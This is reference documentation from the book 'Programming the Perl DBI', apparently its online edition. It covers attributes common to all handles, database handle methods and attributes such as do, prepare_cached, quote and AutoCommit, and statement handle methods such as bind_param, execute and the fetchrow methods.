Enables useful warnings for certain bad practices. Enabled by default. Some emulation layers, especially those for Perl 4 interfaces, disable warnings. Since warnings are generated using the Perl warn function, they can be intercepted using the Perl $SIG{_ _WARN_ _} hook.

Active ( boolean, read-only)

True if the handle object is "active." This is rarely used in applications. The exact meaning of active is somewhat vague at the moment. For a database handle, it typically means that the handle is connected to a database ($dbh->disconnect sets Active off ). For a statement handle, it typically means that the handle is a SELECT that may have more data to fetch. (Fetching all the data or calling $sth->finish sets Active off.)

Kids (integer, read-only)

For a driver handle, Kids is the number of currently existing database handles that were created from that driver handle. For a database handle, Kids is the number of currently existing statement handles that were created from that database handle.

ActiveKids (integer, read-only)

Like Kids, but only counting those that are Active (as above).

CachedKids (hash ref)

For a database handle, returns a reference to the cache (hash) of statement handles created by the prepare_cached method. For a driver handle, returns a reference to the cache (hash) of database handles created by the connect_cached method.

CompatMode ( boolean, inherited)

Used by emulation layers (such as Oraperl) to enable compatible behavior in the underlying driver (e.g., DBD::Oracle) for this handle. Not normally set by application code.

InactiveDestroy ( boolean)

This attribute can be used to disable the database engine related effect of destroying a handle (which would normally close a prepared statement or disconnect from the database, etc.).

For a database handle, this attribute does not disable an explicit call to the disconnect method, only the implicit call from DESTROY.

This attribute is specifically designed for use in Unix applications that "fork" child processes. Either the parent or the child process, but not both, should set InactiveDestroy on all their shared handles.

PrintError ( boolean, inherited)

This attribute can be used to force errors to generate warnings (using warn) in addition to returning error codes in the normal way. When set "on," any method that results in an error occurring will cause the DBI to effectively do a warn("$class $method failed: $DBI::errstr") where $class is the driver class, and $method is the name of the method which failed.

For example:

DBD::Oracle::db prepare failed: ... error text here ...

By default, DBI->connect sets PrintError to "on."

If desired, the warnings can be caught and processed using a $SIG{_ _WARN_ _} handler or modules like CGI::Carp and CGI::ErrorWrap.

RaiseError ( boolean, inherited)

This attribute can be used to force errors to raise exceptions rather than simply return error codes in the normal way. It is "off " by default. When set to "on", any method that results in an error will cause the DBI to effectively do a die("$class $method failed: $DBI::errstr"), where $class is the driver class, and $method is the name of the method that failed. For example:

DBD::Oracle::db prepare failed: ... error text here ...

If PrintError is also on, then the PrintError is done before the RaiseError unless no _ _DIE_ _ handler has been defined, in which case PrintError is skipped, since the die will print the message.

If you want to temporarily turn RaiseError off (inside a library function that is likely to fail, for example), the recommended way is like this:

{
  local $h->{RaiseError}; # localize and turn off for this block
  ...
}

The original value will automatically and reliably be restored by Perl, regardless of how the block is exited. The same logic applies to other attributes, including PrintError.

Sadly, this doesn't work for Perl versions up to and including 5.004_04. For backwards compatibility, you could just use eval { ... } instead.

ChopBlanks ( boolean, inherited)

This attribute can be used to control the trimming of trailing space characters from fixed-width character (CHAR) fields. No other field types are affected, even where field values have trailing spaces.

The default is false (although it is possible that the default may change). Applications that need specific behavior should set the attribute as needed. Emulation interfaces should set the attribute to match the behavior of the interface they are emulating.

Drivers are not required to support this attribute, but any driver that does not support it must arrange to return undef as the attribute value.

LongReadLen (unsigned integer, inherited)

This attribute may be used to control the maximum length of long fields ("blob," "memo," etc.), which the driver will read from the database automatically when it fetches each row of data. The LongReadLen attribute relates only to fetching and reading long values; it is not involved in inserting or updating them.

A value of 0 means not to automatically fetch any long data. (fetch should return undef for long fields when LongReadLen is 0.)

The default is typically 0 (zero) bytes but may vary between drivers. Applications fetching long fields should set this value to slightly larger than the longest long field value to be fetched.

Some databases return some long types encoded as pairs of hex digits. For these types, LongReadLen relates to the underlying data length and not the doubled-up length of the encoded string.

Changing the value of LongReadLen for a statement handle after it has been prepare'd will typically have no effect, so it's common to set LongReadLen on the $dbh before calling prepare.

Note that the value used here has a direct effect on the memory used by the application, so don't be too generous.

See LongTruncOk for more information on truncation behavior.

LongTruncOk ( boolean, inherited)

This attribute may be used to control the effect of fetching a long field value that has been truncated (typically because it's longer than the value of the LongReadLen attribute).

By default, LongTruncOk is false, and so fetching a long value that needs to be truncated will cause the fetch to fail. (Applications should always be sure to check for errors after a fetch loop in case an error, such as a divide by zero or long field truncation, caused the fetch to terminate prematurely.)

If a fetch fails due to a long field truncation when LongTruncOk is false, many drivers will allow you to continue fetching further rows.

See also LongReadLen.

Taint ( boolean, inherited)

If this attribute is set to a true value and Perl is running in taint mode (e.g., started with the -T option), then all data fetched from the database is tainted, and the arguments to most DBI method calls are checked for being tainted. This may change.

The attribute defaults to off, even if Perl is in taint mode. See the perlsec manpage for more about taint mode. If Perl is not running in taint mode, this attribute has no effect.

When fetching data that you can trust, you can turn off the taint attribute for that statement handle, for the duration of the fetch loop.

Currently only fetched data is tainted. It is possible that the results of other DBI method calls, and the value of fetched attributes, may also be tainted in future versions. That change may well break your applications unless you take great care now. If you use DBI taint mode, please report your experience and any suggestions for changes.

private_*

The DBI provides a way to store extra information in a DBI handle as "private" attributes. The DBI will allow you to store and retrieve any attribute that has a name starting with private_. It is strongly recommended that you use just one private attribute (e.g., use a hash ref) and give it a long and unambiguous name that includes the module or application name that the attribute relates to (e.g., private_YourFullModuleName_thingy).

Previous | Home | Next
A.4. Methods Common to All Handles | Book Index | A.6. DBI Database Handle Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBI Database Handle Objects (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.6. DBI Database Handle Objects

This section covers the methods and attributes associated with database handles.

A.6.1. Database Handle Methods

The following methods are specified for DBI database handles:

do

$rc  = $dbh->do($statement)           || die $dbh->errstr;
$rc  = $dbh->do($statement, \%attr)   || die $dbh->errstr;
$rv  = $dbh->do($statement, \%attr, @bind_values) || ...

Prepares and executes a single statement. Returns the number of rows affected or undef on error. A return value of -1 means the number of rows is not known or is not available.

This method is typically most useful for non-SELECT statements that either cannot be prepared in advance (due to a limitation of the driver) or do not need to be executed repeatedly. It should not be used for SELECT statements because it does not return a statement handle (so you can't fetch any data).

The default do method is logically similar to:

sub do {
    my($dbh, $statement, $attr, @bind_values) = @_;
    my $sth = $dbh->prepare($statement, $attr) or return undef;
    $sth->execute(@bind_values) or return undef;
    my $rows = $sth->rows;
    ($rows == 0) ? "0E0" : $rows; # always return true if no error
}

For example:

my $rows_deleted = $dbh->do(q{
    DELETE FROM table
    WHERE status = ?
}, undef, 'DONE') || die $dbh->errstr;

Using placeholders and @bind_values with the do method can be useful because it avoids the need to correctly quote any variables in the $statement. But if you'll be executing the statement many times, then it's more efficient to prepare it once and call execute many times instead.

The q{...} style quoting used in this example avoids clashing with quotes that may be used in the SQL statement. Use the double-quote-like qq{...} operator if you want to interpolate variables into the string. See the section on "Quote and Quote-Like Operators" in the perlop manpage for more details.

selectrow_array
@row_ary = $dbh->selectrow_array($statement);
@row_ary = $dbh->selectrow_array($statement, \%attr);
@row_ary = $dbh->selectrow_array($statement, \%attr, @bind_values);

This utility method combines prepare, execute, and fetchrow_array into a single call. If called in a list context, it returns the first row of data from the statement. If called in a scalar context, it returns the first field of the first row. The $statement parameter can be a previously prepared statement handle, in which case the prepare is skipped.

If any method fails, and RaiseError is not set, selectrow_array will return an empty list.

In a scalar context, selectrow_array returns the value of the first field. An undef is returned if there are no matching rows or if an error occurred. Since that undef can't be distinguished from an undef returned because the first field value was NULL, calling selectrow_array in a scalar context should be used with caution.

selectall_arrayref
$ary_ref = $dbh->selectall_arrayref($statement);
$ary_ref = $dbh->selectall_arrayref($statement, \%attr);
$ary_ref = $dbh->selectall_arrayref($statement, \%attr,
@bind_values);

This utility method combines prepare, execute, and fetchall_arrayref into a single call. It returns a reference to an array containing a reference to an array for each row of data fetched.

The $statement parameter can be a previously prepared statement handle, in which case the prepare is skipped. This is recommended if the statement is going to be executed many times.

If any method except fetch fails, and RaiseError is not set, selectall_arrayref will return undef. If fetch fails, and RaiseError is not set, then it will return with whatever data it has fetched thus far.

selectcol_arrayref
$ary_ref = $dbh->selectcol_arrayref($statement);
$ary_ref = $dbh->selectcol_arrayref($statement, \%attr);
$ary_ref = $dbh->selectcol_arrayref($statement, \%attr, @bind_values);

This utility method combines prepare, execute, and fetching one column from all the rows, into a single call. It returns a reference to an array containing the values of the first column from each row.

The $statement parameter can be a previously prepared statement handle, in which case the prepare is skipped. This is recommended if the statement is going to be executed many times.

If any method except fetch fails, and RaiseError is not set, selectcol_arrayref will return undef. If fetch fails and RaiseError is not set, then it will return with whatever data it has fetched thus far.

prepare
$sth = $dbh->prepare($statement)          || die $dbh->errstr;
$sth = $dbh->prepare($statement, \%attr)  || die $dbh->errstr;

Prepares a single statement for later execution by the database engine and returns a reference to a statement handle object.

The returned statement handle can be used to get attributes of the statement and invoke the execute method. See "Statement Handle Methods."

Drivers for engines without the concept of preparing a statement will typically just store the statement in the returned handle and process it when $sth->execute is called. Such drivers are unlikely to give much useful information about the statement, such as $sth->{NUM_OF_FIELDS}, until after $sth->execute has been called. Portable applications should take this into account.

In general, DBI drivers do not parse the contents of the statement (other than simply counting any placeholders). The statement is passed directly to the database engine, sometimes known as pass-thru mode. This has advantages and disadvantages. On the plus side, you can access all the functionality of the engine being used. On the downside, you're limited if you're using a simple engine, and you need to take extra care if you're writing applications intended to be portable between engines.

Portable applications should not assume that a new statement can be prepared and/or executed while still fetching results from a previous statement.

Some command-line SQL tools use statement terminators, like a semicolon, to indicate the end of a statement. Such terminators should not normally be used with the DBI.

prepare_cached
$sth = $dbh->prepare_cached($statement)
$sth = $dbh->prepare_cached($statement, \%attr)
$sth = $dbh->prepare_cached($statement, \%attr, $allow_active)

Like prepare except that the statement handle returned will be stored in a hash associated with the $dbh. If another call is made to prepare_cached with the same $statement and %attr values, then the corresponding cached $sth will be returned without contacting the database server.

This caching can be useful in some applications, but it can also cause problems and should be used with care. A warning will be generated if the cached $sth being returned is active (i.e., it is a SELECT that may still have data to be fetched). This warning can be suppressed by setting $allow_active to true. The cache can be accessed (and cleared) via the CachedKids attribute.

Here's an example of one possible use of prepare_cached:

while ( ($field, $value) = each %search_fields ) {
    push @sql,   "$field = ?";
    push @values, $value;
}
$qualifier = "";
$qualifier = "where ".join(" and ", @sql) if @sql;
$sth = $dbh->prepare_cached("SELECT * FROM table $qualifier");
$sth->execute(@values);
commit
$rc  = $dbh->commit     || die $dbh->errstr;

Commits (makes permanent) the most recent series of database changes if the database supports transactions and AutoCommit is off.

If AutoCommit is on, then calling commit will issue a "commit ineffective with AutoCommit" warning.

rollback
$rc  = $dbh->rollback   || die $dbh->errstr;

Rolls back (undoes) the most recent series of uncommitted database changes if the database supports transactions and AutoCommit is off.

If AutoCommit is on, then calling rollback will issue a "rollback ineffective with AutoCommit" warning.

disconnect
$rc = $dbh->disconnect  || warn $dbh->errstr;

Disconnects the database from the database handle. disconnect is typically used only before exiting the program. The handle is of little use after disconnecting.

The transaction behavior of the disconnect method is, sadly, undefined. Some database systems (such as Oracle and Ingres) will automatically commit any outstanding changes, but others (such as Informix) will roll back any outstanding changes. Applications not using AutoCommit should explicitly call commit or rollback before calling disconnect.

The database is automatically disconnected by the DESTROY method if still connected when there are no longer any references to the handle. The DESTROY method for each driver should implicitly call rollback to undo any uncommitted changes. This is vital behavior to ensure that incomplete transactions don't get committed simply because Perl calls DESTROY on every object before exiting. Also, do not rely on the order of object destruction during "global destruction," as it is undefined.

Generally, if you want your changes to be commited or rolled back when you disconnect, then you should explicitly call commit or rollback before disconnecting.

If you disconnect from a database while you still have active statement handles, you will get a warning. The statement handles should either be cleared (destroyed) before disconnecting, or the finish method should be called on each one.

ping
$rc = $dbh->ping;

Attempts to determine, in a reasonably efficient way, if the database server is still running and the connection to it is still working. Individual drivers should implement this function in the most suitable manner for their database engine.

The current default implementation always returns true without actually doing anything. Actually, it returns "0 but true", which is true but zero. That way you can tell if the return value is genuine or just the default. Drivers should override this method with one that does the right thing for their type of database.

Few applications would have use for this method. See the specialized Apache::DBI module for one example usage.

table_info (NEW )
$sth = $dbh->table_info;

Warning: This method is experimental and may change.

Returns an active statement handle that can be used to fetch information about tables and views that exist in the database.

The handle has at least the following fields in the order show below. Other fields, after these, may also be present.

TABLE_CAT

Table catalog identifier. This field is NULL (undef) if not applicable to the data source, which is usually the case. This field is empty if not applicable to the table.

TABLE_SCHEM

The name of the schema containing the TABLE_NAME value. This field is NULL (undef) if not applicable to data source, and empty if not applicable to the table.

TABLE_NAME

Name of the table (or view, synonym, etc.).

TABLE_TYPE

One of the following: "TABLE," "VIEW," "SYSTEM TABLE," "GLOBAL TEMPORARY," "LOCAL TEMPORARY," "ALIAS," "SYNONYM," or a type identifier that is specific to the data source.

REMARKS

A description of the table. May be NULL (undef).

Note that table_info might not return records for all tables. Applications can use any valid table regardless of whether it's returned by table_info. See also tables.

For more detailed information about the fields and their meanings, refer to:

http://msdn.microsoft.com/library/psdk/dasdk/odch6wqb.htm

If that URL ceases to work, then use the MSDN search facility at:

http://search.microsoft.com/us/dev/

and search for SQLTables returns using the exact phrase option. The link you want will probably just be called SQLTables and will be part of the Data Access SDK.

tables (NEW )
@names = $dbh->tables;

Warning: This method is experimental and may change.

Returns a list of table and view names, possibly including a schema prefix. This list should include all tables that can be used in a SELECT statement without further qualification.

Note that table_info might not return records for all tables. Applications can use any valid table regardless of whether it's returned by tables. See also table_info.

type_info_all (NEW )
$type_info_all = $dbh->type_info_all;

Warning: This method is experimental and may change.

Returns a reference to an array that holds information about each datatype variant supported by the database and driver. The array and its contents should be treated as read-only.

The first item is a reference to a hash of Name => Index pairs. The following items are references to arrays, one per supported datatype variant. The leading hash defines the names and order of the fields within the following list of arrays. For example:

$type_info_all = [
  {   TYPE_NAME         => 0,
      DATA_TYPE         => 1,
      COLUMN_SIZE       => 2,     # was PRECISION originally
      LITERAL_PREFIX    => 3,
      LITERAL_SUFFIX    => 4,
      CREATE_PARAMS     => 5,
      NULLABLE          => 6,
      CASE_SENSITIVE    => 7,
      SEARCHABLE        => 8,
      UNSIGNED_ATTRIBUTE=> 9,
      FIXED_PREC_SCALE  => 10,    # was MONEY originally
      AUTO_UNIQUE_VALUE => 11,    # was AUTO_INCREMENT originally
      LOCAL_TYPE_NAME   => 12,
      MINIMUM_SCALE     => 13,
      MAXIMUM_SCALE     => 14,
      NUM_PREC_RADIX    => 15,
  },
  [ 'VARCHAR', SQL_VARCHAR,
      undef, "'","'", undef,0, 1,1,0,0,0,undef,1,255, undef
  ],
  [ 'INTEGER', SQL_INTEGER,
      undef,  "", "", undef,0, 0,1,0,0,0,undef,0,  0, 10
  ],
];

Note that more than one row may have the same value in the DATA_TYPE field if there are different ways to spell the type name and/or there are variants of the type with different attributes (e.g., with and without AUTO_UNIQUE_VALUE set, with and without UNSIGNED_ATTRIBUTE, etc.).

The rows are ordered by DATA_TYPE first and then by how closely each type maps to the corresponding ODBC SQL datatype, closest first.

The meaning of the fields is described in the documentation for the type_info method. The index values shown above (e.g., NULLABLE => 6) are for illustration only. Drivers may define the fields with a different order.

This method is not normally used directly. The type_info method provides a more useful interface to the data.

type_info (NEW )
@type_info = $dbh->type_info($data_type);

Warning: This method is experimental and may change.

Returns a list of hash references holding information about one or more variants of $data_type. The list is ordered by DATA_TYPE first and then by how closely each type maps to the corresponding ODBC SQL datatype, closest first. If called in a scalar context then only the first (best) element is returned.

If $data_type is undefined or SQL_ALL_TYPES, then the list will contain hashes for all datatype variants supported by the database and driver.

If $data_type is an array reference, then type_info returns the information for the first type in the array that has any matches.

The keys of the hash follow the same letter case conventions as the rest of the DBI (see "Naming Conventions and Name Space"). The following items should exist:

TYPE_NAME (string)

Datatype name for use in CREATE TABLE statements, etc.

DATA_TYPE (integer)

SQL datatype number.

COLUMN_SIZE (integer)

For numeric types, this is either the total number of digits (if the NUM_PREC_RADIX value is 10) or the total number of bits allowed in the column (if NUM_PREC_RADIX is 2).

For string types, this is the maximum size of the string in bytes.

For date and interval types, this is the maximum number of characters needed to display the value.

LITERAL_PREFIX (string)

Characters used to prefix a literal. A typical prefix is "'" for characters, or possibly "0x" for binary values passed as hexadecimal. NULL (undef) is returned for datatypes for which this is not applicable.

LITERAL_SUFFIX (string)

Characters used to suffix a literal. Typically "'" for characters. NULL (undef) is returned for datatypes where this is not applicable.

CREATE_PARAMS (string)

Parameters for a datatype definition. For example, CREATE_PARAMS for a DECIMAL would be "precision,scale" if the DECIMAL type should be declared as DECIMAL(precision,scale) where precision and scale are integer values. For a VARCHAR it would be "max length". NULL (undef) is returned for datatypes for which this is not applicable.

NULLABLE (integer)

Indicates whether the datatype accepts a NULL value: 0 = no, 1 = yes, 2 = unknown.

CASE_SENSITIVE ( boolean)

Indicates whether the datatype is case-sensitive in collations and comparisons.

SEARCHABLE (integer)

Indicates how the datatype can be used in a WHERE clause, as follows:

0

Cannot be used in a WHERE clause

1

Only with a LIKE predicate

2

All comparison operators except LIKE

3

Can be used in a WHERE clause with any comparison operator

UNSIGNED_ATTRIBUTE ( boolean)

Indicates whether the datatype is unsigned. NULL (undef) is returned for datatypes for which this is not applicable.

FIXED_PREC_SCALE ( boolean)

Indicates whether the datatype always has the same precision and scale (such as a money type). NULL (undef) is returned for datatypes for which this is not applicable.

AUTO_UNIQUE_VALUE ( boolean)

Indicates whether a column of this datatype is automatically set to a unique value whenever a new row is inserted. NULL (undef) is returned for datatypes for which this is not applicable.

LOCAL_TYPE_NAME (string)

Localized version of the TYPE_NAME for use in dialog with users. NULL (undef) is returned if a localized name is not available (in which case TYPE_NAME should be used).

MINIMUM_SCALE (integer)

The minimum scale of the datatype. If a datatype has a fixed scale, then MAXIMUM_SCALE holds the same value. NULL (undef) is returned for datatypes for which this is not applicable.

MAXIMUM_SCALE (integer)

The maximum scale of the datatype. If a datatype has a fixed scale, then MINIMUM_SCALE holds the same value. NULL (undef) is returned for datatypes for which this is not applicable.

SQL_DATA_TYPE (integer)

This column is the same as the DATA_TYPE column, except for interval and datetime datatypes. For interval and datetime datatypes, the SQL_DATA_TYPE field will return SQL_INTERVAL or SQL_DATETIME, and the SQL_DATETIME_SUB field below will return the subcode for the specific interval or datetime datatype. If this field is NULL, then the driver does not support or report on interval or date subtypes.

SQL_DATETIME_SUB (integer)

For interval or datetime datatypes, where the SQL_DATA_TYPE field above is SQL_INTERVAL or SQL_DATETIME, this field will hold the subcode for the specific interval or datetime datatype. Otherwise it will be NULL (undef).

NUM_PREC_RADIX (integer)

The radix value of the datatype. For approximate numeric types, NUM_PREC_RADIX contains the value 2 and COLUMN_SIZE holds the number of bits. For exact numeric types, NUM_PREC_RADIX contains the value 10 and COLUMN_SIZE holds the number of decimal digits. NULL (undef) is returned either for datatypes for which this is not applicable or if the driver cannot report this information.

INTERVAL_PRECISION (integer)

The interval leading precision for interval types. NULL is returned either for datatypes for which this is not applicable or if the driver cannot report this information.

Since DBI and ODBC drivers vary in how they map their types into the ISO standard types, you may need to search for more than one type. Here's an example looking for a usable type to store a date:

$my_date_type = $dbh->type_info( [ SQL_DATE, SQL_TIMESTAMP ] );

Similarly, to more reliably find a type to store small integers, you could use a list starting with SQL_SMALLINT, SQL_INTEGER, SQL_DECIMAL, etc.

For more detailed information about these fields and their meanings, refer to:

http://msdn.microsoft.com/library/psdk/dasdk/odch6yy7.htm

If that URL ceases to work, then use the MSDN search facility at:

http://search.microsoft.com/us/dev/

and search the MSDN library for SQLGetTypeInfo returns using the exact phrase option. The link you want will probably just be called SQLGetTypeInfo (there may be more than one).

The individual datatypes are currently described here:

http://msdn.microsoft.com/library/psdk/dasdk/odap8fcj.htm

If that URL ceases to work, or to get more general information, use the MSDN search facility as described above, and search for SQL Data Types.

quote
$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);

Quotes a string literal for use as a literal value in an SQL statement, by escaping any special characters (such as quotation marks) contained within the string and adding the required type of outer quotation marks.

$sql = sprintf "SELECT foo FROM bar WHERE baz = %s",
              $dbh->quote("Don't");

For most database types, quote would return 'Don''t' (including the outer quotation marks).

An undefined $value value will be returned as the string NULL (without quotation marks) to match how NULLs are represented in SQL.

If $data_type is supplied, it is used to try to determine the required quoting behavior by using the information returned by type_info. As a special case, the standard numeric types are optimized to return $value without calling type_info.

quote will probably not be able to deal with all possible input (such as binary data or data containing newlines), and is not related in any way with escaping or quoting shell meta-characters. There is no need to quote values being used with placeholders and bind values.

A.6.2. Database Handle Attributes

This section describes attributes specific to database handles.

Changes to these database handle attributes do not affect any other existing or future database handles.

Attempting to set or get the value of an unknown attribute is fatal, except for private driver-specific attributes (which all have names starting with a lowercase letter).

For example:

$h->{AutoCommit} = ...;       # set/write
... = $h->{AutoCommit};       # get/read
AutoCommit ( boolean)

If true, then database changes cannot be rolled back (undone). If false, then database changes automatically occur within a "transaction," which must either be committed or rolled back using the commit or rollback methods.

Drivers should always default to AutoCommit mode (an unfortunate choice largely forced on the DBI by ODBC and JDBC conventions.)

Attempting to set AutoCommit to an unsupported value is a fatal error. This is an important feature of the DBI. Applications that need full transaction behavior can set $dbh->{AutoCommit} = 0 (or set AutoCommit to 0 via connect) without having to check that the value was assigned successfully.

For the purposes of this description, we can divide databases into three categories:

Databases that don't support transactions at all.

Databases in which a transaction is always active.

Databases in which a transaction must be explicitly started ('BEGIN WORK').

A.6.2.1. Databases that don't support transactions at all

For these databases, attempting to turn AutoCommit off is a fatal error. commit and rollback both issue warnings about being ineffective while AutoCommit is in effect.

A.6.2.2. Databases in which a transaction is always active

These are typically mainstream commercial relational databases with "ANSI standard" transaction behavior. If AutoCommit is off, then changes to the database won't have any lasting effect unless commit is called (but see also disconnect). If rollback is called, then any changes since the last commit are undone.

If AutoCommit is on, then the effect is the same as if the DBI called commit automatically after every successful database operation. In other words, calling commit or rollback explicitly while AutoCommit is on would be ineffective because the changes would have already been commited.

Changing AutoCommit from off to on should issue a commit in most drivers.

Changing AutoCommit from on to off should have no immediate effect.

For databases that don't support a specific autocommit mode, the driver has to commit each statement automatically using an explicit COMMIT after it completes successfully (and roll it back using an explicit rollback if it fails). The error information reported to the application will correspond to the statement that was executed, unless it succeeded and the commit or rollback failed.

A.6.2.3. Databases in which a transaction must be explicitly started

For these databases, the intention is to have them act like databases in which a transaction is always active (as described earlier).

To do this, the DBI driver will automatically begin a transaction when AutoCommit is turned off (from the default "on" state) and will automatically begin another transaction after a commit or rollback. In this way, the application does not have to treat these databases as a special case.

See disconnect for other important notes about transactions.

Driver ( handle)

Holds the handle of the parent driver. The only recommended use for this attribute is to find the name of the driver using:

$dbh->{Driver}->{Name}
Name (string)

Holds the "name" of the database. Usually (and recommended to be) the same as the "dbi:DriverName:..." string used to connect to the database, but with the leading dbi:DriverName: removed.

RowCacheSize (integer) (NEW )

A hint to the driver indicating the size of the local row cache that the application would like the driver to use for future SELECT statements. If a row cache is not implemented, then setting RowCacheSize is ignored and getting the value returns undef.

Some RowCacheSize values have special meaning, as follows:

0

Automatically determine a reasonable cache size for each SELECT.

1

Disable the local row cache.

>1

Cache this many rows.

<0

Cache as many rows that will fit into this much memory for each SELECT.

Note that large cache sizes may require a very large amount of memory (cached rows × maximum size of row). Also, a large cache will cause a longer delay not only for the first fetch, but also whenever the cache needs refilling.

See also the RowsInCache statement handle attribute.

Previous | Home | Next
A.5. Attributes Common to All Handles | Book Index | A.7. DBI Statement Handle Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBI Statement Handle Objects (Programming the Perl DBI)

 Programming the Perl DBISearch this book

A.7. DBI Statement Handle Objects

This section lists the methods and attributes associated with DBI statement handles.

A.7.1. Statement Handle Methods

The DBI defines the following methods for use on DBI statement handles:

bind_ param

$rc = $sth->bind_param($p_num, $bind_value) || die
$sth->errstr;
$rv = $sth->bind_param($p_num, $bind_value, \%attr)     || ...
$rv = $sth->bind_param($p_num, $bind_value, $bind_type) || ...

The bind_ param method can be used to bind a value with a placeholder embedded in the prepared statement. Placeholders are indicated with the question mark character (?). For example:

$dbh->{RaiseError} = 1;        # save having to check each method call
$sth = $dbh->prepare("SELECT name, age FROM people WHERE name LIKE ?");
$sth->bind_param(1, "John%");  # placeholders are numbered from 1
$sth->execute;
DBI::dump_results($sth);

Note that the ? is not enclosed in quotation marks, even when the placeholder represents a string. Some drivers also allow placeholders like :name and :n (e.g., :1, :2, and so on) in addition to ?, but their use is not portable. Undefined bind values or undef can be used to indicate null values.

Some drivers do not support placeholders.

With most drivers, placeholders can't be used for any element of a statement that would prevent the database server from validating the statement and creating a query execution plan for it. For example:

"SELECT name, age FROM ?"         # wrong (will probably fail)
"SELECT name, ?   FROM people"    # wrong (but may not 'fail')

Also, placeholders can only represent single scalar values. For example, the following statement won't work as expected for more than one value:

"SELECT name, age FROM people WHERE name IN (?)"    # wrong

A.7.1.1. Datatypes for placeholders

The \%attr parameter can be used to hint at which datatype the placeholder should have. Typically, the driver is interested in knowing only if the placeholder should be bound as a number or a string. For example:

$sth->bind_param(1, $value, { TYPE => SQL_INTEGER });

As a shortcut for this common case, the datatype can be passed directly, in place of the \%attr hash reference. This example is equivalent to the one above:

$sth->bind_param(1, $value, SQL_INTEGER);

The TYPE value indicates the standard (non-driver-specific) type for this parameter. To specify the driver-specific type, the driver may support a driver-specific attribute, such as { ora_type => 97 }. The datatype for a placeholder cannot be changed after the first bind_ param call. However, it can be left unspecified, in which case it defaults to the previous value.

Perl only has string and number scalar datatypes. All database types that aren't numbers are bound as strings and must be in a format the database will understand.

As an alternative to specifying the datatype in the bind_ param call, you can let the driver pass the value as the default type (VARCHAR). You can then use an SQL function to convert the type within the statement. For example:

INSERT INTO price(code, price) VALUES (?, CONVERT(MONEY,?))

The CONVERT function used here is just an example. The actual function and syntax will vary between different databases and is non-portable.

See also Section A.2.7, "Placeholders and Bind Values " for more information.

bind_param_inout
$rc = $sth->bind_param_inout($p_num, \$bind_value, $max_len) || die $sth->errstr;
$rv = $sth->bind_param_inout($p_num, \$bind_value, $max_len, \%attr) || ...
$rv = $sth->bind_param_inout($p_num, \$bind_value, $max_len, $bind_type) || ...

This method acts like bind_ param , but also enables values to be updated by the statement. The statement is typically a call to a stored procedure. The $bind_value must be passed as a reference to the actual value to be used.

Note that unlike bind_ param, the $bind_value variable is not read when bind_ param_inout is called. Instead, the value in the variable is read at the time execute is called.

The additional $max_len parameter specifies the minimum amount of memory to allocate to $bind_value for the new value. If the value returned from the database is too big to fit, then the execution should fail. If unsure what value to use, pick a generous length, i.e., a length larger than the longest value that would ever be returned. The only cost of using a larger value than needed is wasted memory.

It is expected that few drivers will support this method. The only driver currently known to do so is DBD::Oracle (DBD::ODBC may support it in a future release). Therefore, it should not be used for database-independent applications.

Undefined values or undef are used to indicate null values. See also "Placeholders and Bind Values" for more information.

execute
$rv = $sth->execute                || die $sth->errstr;
$rv = $sth->execute(@bind_values)  || die $sth->errstr;

Performs whatever processing is necessary to execute the prepared statement. An undef is returned if an error occurs. A successful execute always returns true regardless of the number of rows affected, even if it's zero (see below). It is always important to check the return status of execute (and most other DBI methods) for errors.

For a non-SELECT statement, execute returns the number of rows affected, if known. If no rows were affected, then execute returns 0E0, which Perl will treat as 0 but will regard as true. Note that it is not an error for no rows to be affected by a statement. If the number of rows affected is not known, then execute returns -1.

For SELECT statements, execute simply "starts" the query within the database engine. Use one of the fetch methods to retrieve the data after calling execute. The execute method does not return the number of rows that will be returned by the query (because most databases can't tell in advance), it simply returns a true value.

If any arguments are given, then execute will effectively call bind_ param for each value before executing the statement. Values bound in this way are usually treated as SQL_VARCHAR types unless the driver can determine the correct type (which is rare), or unless bind_ param (or bind_ param_inout) has already been used to specify the type.

fetchrow_arrayref
$ary_ref = $sth->fetchrow_arrayref;
$ary_ref = $sth->fetch;    # alias

Fetches the next row of data and returns a reference to an array holding the field values. Null fields are returned as undef values in the array. This is the fastest way to fetch data, particularly if used with $sth->bind_columns.

If there are no more rows, or if an error occurs, then fetchrow_arrayref returns an undef. You should check $sth->err afterwards (or use the RaiseError attribute) to discover if the undef returned was due to an error.

Note that the same array reference will currently be returned for each fetch, so don't store the reference and then use it after a later fetch.

fetchrow_array
 @ary = $sth->fetchrow_array;

An alternative to fetchrow_arrayref . Fetches the next row of data and returns it as a list containing the field values. Null fields are returned as undef values in the list.

If there are no more rows, or if an error occurs, then fetchrow_array returns an empty list. You should check $sth->err afterwards (or use the RaiseError attribute) to discover if the empty list returned was due to an error.

In a scalar context, fetchrow_array returns the value of the first field. An undef is returned if there are no more rows or if an error occurred. Since that undef can't be distinguished from an undef returned because the first field value was NULL, you should exercise some caution if you use fetchrow_array in a scalar context.

fetchrow_hashref
 $hash_ref = $sth->fetchrow_hashref;
 $hash_ref = $sth->fetchrow_hashref($name);

An alternative to fetchrow_arrayref . Fetches the next row of data and returns it as a reference to a hash containing field name and field value pairs. Null fields are returned as undef values in the hash.

If there are no more rows, or if an error occurs, then fetchrow_hashref returns an undef. You should check $sth->err afterwards (or use the RaiseError attribute) to discover if the undef returned was due to an error.

The optional $name parameter specifies the name of the statement handle attribute. For historical reasons it defaults to NAME; however, using either NAME_lc or NAME_uc is recommended for portability.

The keys of the hash are the same names returned by $sth->{$name}. If more than one field has the same name, there will only be one entry in the returned hash for those fields.

Because of the extra work fetchrow_hashref and Perl have to perform, this attribute is not as efficient as fetchrow_arrayref or fetchrow_array.

Currently, a new hash reference is returned for each row. This will change in the future to return the same hash ref each time, so don't rely on the current behavior.

fetchall_arrayref
$tbl_ary_ref = $sth->fetchall_arrayref;
$tbl_ary_ref = $sth->fetchall_arrayref( $slice_array_ref );
$tbl_ary_ref = $sth->fetchall_arrayref( $slice_hash_ref  );

The fetchall_arrayref method can be used to fetch all the data to be returned from a prepared and executed statement handle. It returns a reference to an array that contains one reference per row.

If there are no rows to return, fetchall_arrayref returns a reference to an empty array. If an error occurs, fetchall_arrayref returns the data fetched thus far, which may be none. You should check $sth->err afterwards (or use the RaiseError attribute) to discover if the data is complete or was truncated due to an error.

